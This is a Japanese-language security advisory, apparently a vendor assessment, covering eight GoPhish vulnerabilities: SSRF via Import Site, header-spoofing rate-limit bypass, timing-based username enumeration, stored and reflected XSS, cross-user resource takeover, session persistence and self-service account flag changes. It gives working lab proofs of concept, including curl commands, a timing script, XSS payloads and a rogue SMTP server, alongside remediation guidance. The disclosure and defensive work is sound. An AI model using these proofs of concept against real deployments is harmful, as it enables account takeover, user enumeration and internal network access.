この設定の挙動は、レビューで特に見落としやすいものです。完全な内部アドレスのポリシーはコードベースに存在するため、カバレッジがあるという誤った安心感を生み得ますが、それが選択されるのは許可リストが設定された後だけです。言い換えれば、例外を表現するための機能が、ベースラインのセキュリティモデルを変えてしまうのです。デフォルトの挙動は、リポジトリに存在する最も制限の厳しいリストではなく、デフォルトの拒否リストによって判断しなければなりません。

想定シナリオ:クローン機能が内部ネットワークのクライアントになる:オペレーターが、ランディングページの作成を迅速化するためにImport Siteを使用します。この機能はURLを受け取り、制限付きのダイヤラーでHTTPクライアントを作成し、ページを取得して、HTMLを認証済みの呼び出し元に返します。デフォルトのインストールでは、ダイヤラーはクラウドメタデータのリンクローカルアドレスをブロックしますが、より広いプライベートアドレスのポリシーは適用しません。実行環境が内部サービスにルーティングできる場合、この機能によって、オペレーターのブラウザーではなくGoPhishサーバーがそのサービスと通信できてしまいます。これはまさに、サーバーサイドリクエストフォージェリ(SSRF)対策が防ぐために設計されているカテゴリのリスクです。

Import Site機能が合成したローカルのテスト用宛先に到達する様子を示した、サニタイズ済みのAgentic Deep Scanのエビデンス。
サニタイズしたAgentic Deep ScanのImport Siteのエビデンス

図6:Import Siteの経路に関する、サニタイズしたAgentic Deep Scanのエビデンス。認証情報、ホストの詳細、レスポンスの値は、合成したローカルのテスト値に置き換えています。

このシナリオは、特定の内部サービスに到達可能であることや、レスポンスが有用であることを前提としていません。アプリケーションが、ネットワークトポロジーが関わる前にセキュリティ上の判断を下さなければならない理由を説明しています。実行時の接続性は時間とともに変化するものであり、安全なURLポリシーは、魅力的なターゲットが今たまたま存在しないことに頼ることはできません。

エンジニアリング上の優先事項:包括的な非公開範囲のリストをデフォルトの拒否ポリシーとし、正当な内部クローンには明示的な許可リストを使う。公開IPv6をサポートするかどうかを決定して文書化する。レビュー対象のallInternalリストには::/0が含まれており、ローカルのIPv6範囲だけでなくすべてのIPv6をブロックしている。スキームを検証し、すべてのリダイレクトと接続で宛先ポリシーを維持し、汎用的な取得失敗を返し、TLS証明書の検証を復活させ、ネットワーク層でGoPhishの実行環境からのエグレスを制限する。

維持すべきリグレッションテスト:代表的な公開、ループバック、RFC1918、リンクローカル、IPv6ローカル、リダイレクト、DNSリバインディングのテストホストを使ってインポート経路を実行する。許可リストを有効にした設定だけでなく、デフォルト設定でも、すべての非公開の宛先を拒否しなければならない。

ローカル検証の付録:PoCと修復

以下の手順は、GoPhish最新版を実行する隔離されたラボで、検証済みの挙動を再現するものです。意図的に127.0.0.1、合成アカウント、無害なalert()ペイロード、テスト専用のSMTPおよびHTTPサービスを使用しています。ホストもサンプルのアイデンティティも、許可を受けた環境の外にあるシステム、データ、アカウントに置き換えないでください。

共通のラボ設定

付属のデフォルト設定でGoPhishを実行すると、次のアドレスでリッスンします:https://127.0.0.1:3333. 2人の通常のAPIユーザーlab-ownerとlab-userを作成し、それぞれのAPIキーをOWNER_KEYとUSER_KEYとして記録します。以下の例では、これらのシェル変数を使用します。

export GOPHISH_URL='https://127.0.0.1:3333'
export OWNER_KEY='replace-with-lab-owner-key'
export USER_KEY='replace-with-lab-user-key'

開発用の証明書は自己署名であるため、ローカルのコマンドでは-kを使用します。このTLS設定を本番環境のワークフローに持ち込まないでください。

1. 転送アドレスの偽装によるレート制限のバイパス

まず、一つのセッションで転送ヘッダーを付けずに、無効なログインを6回試行します。ローカルの直接アクセスの構成では、6回目のリクエストがレート制限されます。

curl -ksc cookies.txt "$GOPHISH_URL/login" -o login.html
CSRF_TOKEN=$(sed -n 's/.*name="csrf_token" value="\([^"]*\)".*/\1/p' login.html | head -n 1)

for n in 1 2 3 4 5 6; do
  curl -ks -o /dev/null -w "attempt $n: %{http_code}\n" \
    -b cookies.txt -c cookies.txt \
    -H "Origin: $GOPHISH_URL" \
    -H "Referer: $GOPHISH_URL/login" \
    --data-urlencode 'username=does-not-exist' \
    --data-urlencode 'password=not-the-password' \
    --data-urlencode "csrf_token=$CSRF_TOKEN" \
    "$GOPHISH_URL/login"
done

隔離されたラボで、転送アドレスを変えながら6回の試行を繰り返します。脆弱な場合に期待される挙動は、各レスポンスが429にならず、無効なログインのレスポンスのままであることです。

for n in 1 2 3 4 5 6; do
  curl -ks -o /dev/null -w "attempt $n: %{http_code}\n" \
    -b cookies.txt -c cookies.txt \
    -H "Origin: $GOPHISH_URL" \
    -H "Referer: $GOPHISH_URL/login" \
    -H "X-Forwarded-For: 198.51.100.$n" \
    -H "X-Real-IP: 198.51.100.$n" \
    --data-urlencode 'username=does-not-exist' \
    --data-urlencode 'password=not-the-password' \
    --data-urlencode "csrf_token=$CSRF_TOKEN" \
    "$GOPHISH_URL/login"
done

修復:クライアントが指定した転送ヘッダーをエッジで除去し、可能であれば管理用リスナーをプライベートインターフェースにバインドし、TCPの接続相手が明示的に設定されたリバースプロキシであることを確認した後でのみプロキシヘッダーの正規化を適用します。2つ目の制御として、独立したエッジでのレート制限を適用します。リグレッションテストでは、想定されたプロキシ経由の経路と、直接アクセスを試みる経路の両方を実行しなければなりません。

2. 非対称な認証処理によるユーザー名の列挙

ローカルのチェックでは、既知のテストユーザーと合成した未知の名前を比較します。同じ低レイテンシーの環境から複数のサンプルを実行し、いずれか一つのレスポンスを証明として扱うのではなく、中央値を比較します。

# timing_poc.py -- run only against the local lab
import html
import itertools
import statistics
import time
import requests

BASE = "https://127.0.0.1:3333/login"
SAMPLES = 20
USERS = ["lab-owner", "not-a-real-user"]
ip_suffixes = itertools.count(10)

def csrf(session):
    response = session.get(BASE, verify=False, timeout=10)
    marker = 'name="csrf_token" value="'
    start = response.text.index(marker) + len(marker)
    end = response.text.index('"', start)
    return html.unescape(response.text[start:end])

def measure(username):
    values = []
    for _ in range(SAMPLES):
        session = requests.Session()
        spoofed_ip = f"198.51.100.{next(ip_suffixes)}"
        token = csrf(session)
        started = time.perf_counter()
        response = session.post(
            BASE,
            data={
                "username": username,
                "password": "not-the-password",
                "csrf_token": token,
            },
            headers={
                "Origin": "https://127.0.0.1:3333",
                "Referer": BASE,
                "X-Forwarded-For": spoofed_ip,
                "X-Real-IP": spoofed_ip,
            },
            verify=False,
            timeout=10,
        )
        assert response.status_code == 401
        values.append(time.perf_counter() - started)
    return statistics.median(values), values

for user in USERS:
    median, values = measure(user)
    print(f"{user:16} median={median:.4f}s samples={values}")

検証環境では、既知のユーザーの分岐は一貫して遅いクラスターに位置しました。パスワードハッシュの検証に到達する一方、未知のユーザーの分岐はデータベースの検索後に戻っていたためです。インターネットに公開された環境でのタイミングの結果は、繰り返しの測定でネットワークのノイズを考慮しない限り、決定的ではないものとして扱ってください。

修復:未知のユーザーも含め、固定のダミーbcryptハッシュを使って常にパスワードハッシュの比較を実行します。そのうえで、ログインハンドラーの開始時点から測定した共通のレスポンス下限時間を使い、検索やレンダリングの違いが信頼できるオラクルを生まないようにします。メッセージ、ステータスコード、リダイレクト、レート制限の挙動は同一に保ちます。リグレッションのベンチマークでは、両方の分岐でハッシュ比較に到達することを検証し、分布が有意に分離可能になった場合にアラートを出すようにします。

3. インポートされた受信者フィールドからの格納型XSS

ローカルのAPIを通じて、無害なHTMLペイロードを含む合成グループを作成します。レスポンスから、その値が受信者データとして受け付けられることがわかります。

curl -ksS -X POST "$GOPHISH_URL/api/groups/" \
  -H "Authorization: Bearer $OWNER_KEY" \
  -H 'Content-Type: application/json' \
  --data '{
    "name": "lab-csv-template-xss",
    "targets": [{
      "email": "recipient@example.test",
      "first_name": "<img src=x onerror=alert(\"recipient-field\")>",
      "last_name": "Lab",
      "position": "Test"
    }]
  }'

UIで同等の手順を行うには、同じ値をFirst Nameに入れて一括インポートし、{{.FirstName}}を含むランディングページを作成し、そのグループとページを使ってキャンペーンを作成し、生成されたリンクを使い捨てのローカルブラウザープロファイルで開きます。脆弱な場合に期待される結果は、フィッシング用ランディングページのオリジンでalert("recipient-field")のダイアログが表示されることです。これは管理パネルの実行コンテキストではありません。

修復:出力コンテキストを主要な制御にします。ランディングページのHTMLはhtml/templateでレンダリングし、プレーンテキストには別のレンダラーを使い、URLやヘッダーで使われる値を検証し、システムが生成した断片だけを信頼できるHTMLとしてマークします。共有のテンプレート関数は、メール本文、URL、ヘッダー、添付ファイルも処理するため、やみくもに切り替えることはできません。CSV入力のパースや正規化は多層防御になり得ますが、シンクにおけるコンテキストに応じたエンコーディングの代わりにしてはなりません。サポートされているすべての受信者フィールドを、HTMLのテキスト、属性、URL、JavaScriptが関わる位置でテストします。

4. SMTPエラーによる格納型および反射型XSS

このローカルのSMTPリスナーは、RCPT TOに対して無害な証明用ペイロードを返します。

# rogue_smtp.py -- local validation only
import socket

HOST, PORT = "127.0.0.1", 2525
PAYLOAD = b"554 <img src=x onerror=alert('smtp-error')>\r\n"

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server:
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind((HOST, PORT))
    server.listen(1)
    connection, _ = server.accept()
    with connection:
        connection.sendall(b"220 local test SMTP\r\n")
        while (data := connection.recv(1024)):
            command = data.decode("utf-8", errors="ignore").strip().upper()
            if command.startswith(("EHLO", "HELO")):
                connection.sendall(b"250 local test\r\n")
            elif command.startswith("MAIL FROM"):
                connection.sendall(b"250 OK\r\n")
            elif command.startswith("RCPT TO"):
                connection.sendall(PAYLOAD)
                break
            else:
                connection.sendall(b"250 OK\r\n")

リスナーを起動し、127.0.0.1:2525向けのローカル専用の送信プロファイルを設定してから、両方の検証を実施します。

  1. テストキャンペーンを開始し、その結果を開き、失敗した受信者を展開して、Error Sending Emailイベントを確認します。格納型の経路では、SMTPエラーがキャンペーンのタイムラインにレンダリングされます。
  2. Campaigns → New Campaignで同じプロファイルを選択し、Send Test Emailを使用します。反射型の経路では、返されたSMTPエラーがモーダルにレンダリングされます。

Sending Profilesのテストメール画面は、有用なネガティブコントロールになります。この画面はすでにescapeHtml()を適用しており、ペイロードを実行せずにテキストとして表示するはずです。

修復:すべてのSMTPエラーをテキストとして扱います。すべてのDOMシンクでtextContent、jQueryの.text()、または一貫して適用されるエスケープのヘルパーを使い、プロトコルのエラーテキストを決してHTMLに連結しないでください。同じルールを、キャンペーンの開始、コピー、テストメールのエラーハンドラーにも適用します。永続化前のエスケープは価値のある多層防御ですが、安全なレンダリングの代わりにはなりません。長期間有効なAPI認証情報をブラウザーのグローバル変数から取り除き、ブラウザーレベルのテストで、マークアップ風のSMTPエラーが一つのテキストノードになり、実行可能な要素を作らないことをアサートします。

5. 作成用エンドポイントのアップサートによるユーザー間の乗っ取り

lab-ownerとしてグループを作成し、返された数値のidをGROUP_IDとして保存してから、lab-userとしてその識別子を含む作成リクエストを送信します。

GROUP_ID=6 # replace with the id of a synthetic lab-owner group

curl -ksS -X POST "$GOPHISH_URL/api/groups/" \
  -H "Authorization: Bearer $USER_KEY" \
  -H 'Content-Type: application/json' \
  --data "{
    \"id\": $GROUP_ID,
    \"name\": \"lab-taken-over-group\",
    \"targets\": []
  }"

curl -ksS "$GOPHISH_URL/api/groups/$GROUP_ID" \
  -H "Authorization: Bearer $OWNER_KEY"

脆弱な場合の結果は、lab-userに対しては作成成功のレスポンス、元の所有者に対しては404になります。同じ2ユーザーのテストを、各リソースに有効な合成ボディを使って、POST /api/templates/、POST /api/pages/、POST /api/smtp/に対しても繰り返します。グループの場合は、所有権の変更後も、以前に関連付けられていた合成ターゲットが読み取り可能なままであることも検証します。

修復:作成と更新の操作を構造的に区別します。すべてのPOSTハンドラーでクライアントが指定したIDを拒否し、モデルレイヤーでは明示的な挿入のセマンティクス(db.Create)を使います。読み取り、更新、削除には所有者スコープの述語を維持します。GETだけの所有者チェックでは、スコープされていない書き込みは保護されません。リグレッションスイートでは、影響を受けるすべてのリソースを2人のユーザーでカバーし、他のユーザーのIDを含むPOSTが、所有者、コンテンツ、関連付けのいずれも変更しないことをアサートしなければなりません。

6. アカウントイベント後のセッションとAPIキーの存続

ローカルのブラウザーまたはプロキシを使って、有効なgophishセッションCookieを保存します。その後、3つのライフサイクルのケースを検証します。

  1. ブラウザーでログアウトし、ログアウト前のCookieを/へのリクエストで再送して、/loginにリダイレクトされずにダッシュボードが利用可能なままであることを確認します。
  2. 有効なCookieを保存し、Settingsからアカウントのパスワードを変更した後、変更前のCookieを/に対して再送し、受け付けられたままであることを確認します。
  3. アカウントのAPIキーを記録し、Settingsまたは強制リセットのフローでパスワードを変更し、古いキーで無害なAPIリソースをリクエストします。パスワード変更でキーがローテーションされないため、古いキーは受け付けられたままです。

たとえば、保存したローカルのCookieは次のように再送できます。

curl -ksS -i "$GOPHISH_URL/" \
  -H 'Cookie: gophish=replace-with-a-saved-lab-cookie'

修復:ステートレスなCookieのみの設計を、サーバー側セッション、またはリクエストごとにチェックされるユーザー単位のセッションバージョンに置き換えます。ログアウト、パスワードリセット、アカウントロック、ロール変更、オフボーディングの際に、セッションとAPIキーを失効またはローテーションします。セッションとAPIキーの両方のミドルウェアで、AccountLockedとPasswordChangeRequiredを強制します。現在のブラウザーのCookieをクリアするだけでは、コピーされたステートレスなCookieを失効させることはできません。また、サービスを再起動するとCookieの署名は無効になりますが、データベースに保存されたAPIキーはローテーションされません。

7. アカウント制御フィールドのセルフサービスによる変更

ローカルの通常ユーザーとして、現在のユーザー名とロールを指定しつつ、管理用のポリシーフィールドをクリアしてセルフ更新エンドポイントを呼び出します。

curl -ksS -X PUT "$GOPHISH_URL/api/users/2" \
  -H "Authorization: Bearer $USER_KEY" \
  -H 'Content-Type: application/json' \
  --data '{
    "username": "lab-user",
    "role": "user",
    "password_change_required": false,
    "account_locked": false
  }'

ラボ用に作成した合成ユーザーのID、ユーザー名、ロールを使用してください。まず管理者に両方のフィールドをtrueに設定してもらい、その後セルフ更新を行ってから、レスポンスと保存されたアカウントの状態を検証します。脆弱な場合の結果は、システムレベルの権限なしに両方のフラグがfalseになることです。

修復:セルフサービスのプロファイル変更と管理用のアカウント管理に、別々のリクエスト型を使います。少なくとも、ロール変更ですでに使われているのと同じhasSystem権限チェックの背後に、両方の代入を置きます。

if hasSystem {
    existingUser.PasswordChangeRequired = ur.PasswordChangeRequired
    existingUser.AccountLocked = ur.AccountLocked
}

長期的により良い設計は、これらのフィールドをセルフサービスのリクエスト型から完全に除外することです。アカウントの状態、認証情報のポリシー、ロールに関するすべてのフィールドについてネガティブテストを追加し、永続化された値が変更されないままであることを検証します。

8. Import Siteがデフォルトでプライベートな宛先に到達する

ローカルマシンで使い捨てのHTTPサーバーを実行し、ローカルのGoPhishインスタンスにそれをインポートさせます。

python3 -m http.server 8080 --bind 127.0.0.1

curl -ksS -X POST "$GOPHISH_URL/api/import/site" \
  -H "Authorization: Bearer $USER_KEY" \
  -H 'Content-Type: application/json' \
  --data '{
    "url": "http://127.0.0.1:8080/",
    "include_resources": false
  }'

脆弱なデフォルトの挙動は、htmlフィールドにローカルサーバーのページが含まれた成功レスポンスです。同じラボで、RFC1918アドレス上のリスナー、リンクローカルのメタデータ範囲、リダイレクト、IPv6アドレスを比較することもできます。要点は特定の内部サービスではありません。呼び出し元のブラウザーではなく、サーバーが接続を行うという点です。

修復:デフォルトで包括的な非公開の拒否リストから始め、設定された内部ホストは範囲を狭く限定した例外として扱います。httpとhttpsのスキームを検証し、生のダイヤルエラーではなく汎用的な取得エラーを返し、TLS証明書の検証を復活させ、リダイレクトを無効にするか、すべてのリダイレクトで宛先の検証を再適用します。Import Siteを適切な権限を持つユーザーに限定し、ネットワーク層で外向きのエグレスポリシーを強制します。テストでは、公開ホスト、ループバック、RFC1918、リンクローカル、マルチキャスト、予約済み、IPv6、リダイレクト、接続間のDNSの変化をカバーしなければなりません。

実装志向の修復チェックリスト

8件の検出結果には、少数の永続的な実装上の変更が共通しています。

検出結果 コードと設定の変更 必要なリグレッションのエビデンス
レート制限 設定されたプロキシのCIDRからの転送ヘッダーのみを信頼し、それ以外では除去する。エッジでもレート制限を行う。 想定されたイングレスを通じて、偽装したヘッダーで新しいバケットを作れない。管理画面への直接アクセスは利用できないか、ヘッダーを無視する。
タイミング 未知のユーザーに対して固定のダミーハッシュによる比較を行い、共通のレスポンス下限時間を適用する。 両方の経路でbcryptが呼び出される。ベンチマークの分布、ステータス、ボディ、リダイレクトが同等である。
受信者のXSS HTML、テキスト、URL、ヘッダー、添付ファイルのテンプレートレンダリングをコンテキストごとに分割し、受信者データをHTMLで自動エスケープする。 すべての受信者フィールドが、すべてのHTMLコンテキストでテキストとしてレンダリングされる。システムのトラッカーのマークアップは、明示的な信頼済みの型を通じてのみ引き続き機能する。
SMTPのXSS すべてのAPIエラーとSMTPエラーに、テキストのみのDOM挿入を使う。ブラウザーのグローバル変数にあるAPIキーを取り除く。 モックした格納型および反射型のSMTPエラーが、DOM要素やイベントハンドラーを作らない。
作成時のアップサート POSTハンドラーでIDを拒否し、作成にはCreateを使う。すべての書き込みを所有者でスコープする。 2人目のユーザーが、POSTでオブジェクトの所有者、コンテンツ、グループの関連付けを変更できない。
認証情報のライフサイクル サーバー側またはバージョン管理されたセッションを使う。セキュリティイベント時にセッションとAPIキーを失効させる。すべての境界でアカウントの状態をチェックする。 ログアウト、パスワード変更、ロック、リセット、ロール変更、オフボーディングで、古いCookieと古いAPIキーの両方が拒否される。
アカウントフィールド セルフサービス用と管理用で別々のDTOを使う。ポリシーフィールドの変更はシステムユーザーにのみ許可する。 システム権限のないユーザーが、ロック状態、強制変更の状態、ロールを変更できない。
Import Site 非公開の宛先をデフォルトで拒否する。例外を最小限にする。スキーム、TLS、リダイレクト、エグレスを検証する。 デフォルト設定で、すべての非公開のテストターゲットが拒否され、生のネットワークエラーが露出しない。

検出結果は単独よりも組み合わさったときのほうが危険である

セキュリティレビューでは、脆弱性をスプレッドシート上の独立した行として示すことがよくあります。しかし、実際の環境はそのようには振る舞いません。ここで最も意味のあるリスクは、ある弱い境界が別の境界の価値をどのように高め得るかという点にあります。

  • SMTP配信の失敗を調査している管理者が、強力なキャンペーン操作やAPI操作を公開している同じコンソールで、ブラウザー側のXSSシンクに遭遇し得る。
  • アカウントロックやパスワード変更の状態がAPIミドルウェアを一貫して制約しない場合、長期間有効なAPI認証情報の影響はより大きくなる。
  • ターゲットリスト、ランディングページ、メールプロファイルをユーザーが所有する運用オブジェクトとして保存するプラットフォームでは、リソースの乗っ取りはより大きな損害をもたらす。
  • デフォルトのネットワーク制限が弱いインポート機能は、別の箇所で権限が制限されているはずの認証済みユーザーから到達可能かもしれない。

これらは、単一の自動的なエクスプロイトチェーンが存在するという主張ではありません。修復を協調して進めなければならない理由です。認証情報のライフサイクルを曖昧なままにしてレンダラーだけを修正したり、永続化のパターンを残したまま一つのPOSTエンドポイントだけを修正したりすれば、症状は軽減されても信頼モデルは回復しません。

実践的な修復プログラム

綿密なレビューの後に勢いを失う最も手っ取り早い方法は、共通の受け入れ基準を持たない8件のチケットを作ることです。ここでのコードパスは、より効果的な作業の順序を示唆しています。

フェーズ 目的 具体的なエンジニアリング上の成果 完了のエビデンス
封じ込め ユーザー間および管理者ブラウザーに対する最も直接的なリスクを取り除く DOMシンクですべてのSMTP/APIエラーをエンコードする。作成操作を挿入に限定する。POSTでクライアント所有のIDを拒否する ブラウザーテストでエラーがテキストとしてレンダリングされることを実証し、2ユーザーの永続化テストで所有権が変更されないことを実証する。
アイデンティティの整合 ログイン、セッション、アカウントの状態、APIキーに一貫した一つの意味を持たせる ダミーハッシュによる認証経路。サーバー側セッションまたはセッションバージョンによる失効。APIミドルウェアでのアカウント状態の強制。ユーザー更新におけるフィールドレベルの認可 ログアウト、リセット、ロック、ロール変更のテストで、UIとAPIの両方の認証情報が失効または拒否される。
境界の強化 デプロイメントと外向きのネットワークの挙動を意図された設計と一致させる エッジでの信頼済みプロキシのポリシー。管理画面の直接公開の排除。デフォルト拒否のネットワークダイヤラー。エグレス制御 統合テストで、転送ヘッダー、プライベートIP範囲、リダイレクト、DNSの挙動をカバーする。
再発防止 教訓をセキュア開発の制御に変える DTOの許可リスト、作成と更新の分離、シンクを中心とした出力エンコーディングのルール、外向きクライアントのレビューチェック 新しいエンドポイントやレンダラーがポリシーを迂回した場合、CIで拒否される。

目的は、GoPhishを一度に再設計することではありません。将来の機能を構造的により安全にする、少数の不変条件を回復することです。すなわち、クライアントのアイデンティティを主張するのは信頼できるインフラだけであること、所有権を変更するのは認可された経路だけであること、テキストのシンクに届くのはテキストだけであること、無効化されたアカウントはどこでも無効であること、そしてサーバーサイドの取得は許可ではなく拒否から始まること、です。

結び:行だけでなく境界を修正する

これらの検出結果に共通しているのは、単一の危険な関数ではありません。強制されるのではなく前提とされていた境界です。アイデンティティとして信頼されたプロキシヘッダー、HTMLとして扱われたエラー、作成の意図として扱われたID、アカウントの状態として扱われたベアラーキー、そしてデフォルト拒否のポリシーを有効にするために使われた許可リストのオプションです。それぞれの行は小さなものです。アプリケーションが前提としていることと攻撃者が制御できることとの間のギャップにこそ、本当のリスクがあります。

メンテナーにとって、実践的な順序は明確です。まず管理パネルのXSSとユーザー間のリソース乗っ取りを封じ込め、次にAPIの認可と認証情報の失効を一貫させ、最後にアプリケーション層とデプロイメント層の両方でログインと外向きリクエストの制御を強化します。セキュリティチームにとって、この評価は、Ostorlab Agentic Deep Scanによるソースコード解析が、開発チームが行動に移せるレポートを生み出せることを示しています。

CVEのステータス

本記事では、8件の検出結果のいずれもCVEと関連付けていません。CVE識別子のリクエストは現在審査中です。識別子が割り当てられた場合、確定した割り当ては別途お知らせします。それまでは、上記の検出結果のタイトルとGoPhish最新版における影響を受けるコンポーネントが、本評価の正式な参照情報となります。

評価の参照情報:最終更新日は2026-07-22です。本評価は、付属のデフォルト設定を使用したGoPhish最新版を対象としています。検出結果を当てはめる前に、自社のデプロイメントがこのリリースと一致していることを確認してください。

参考文献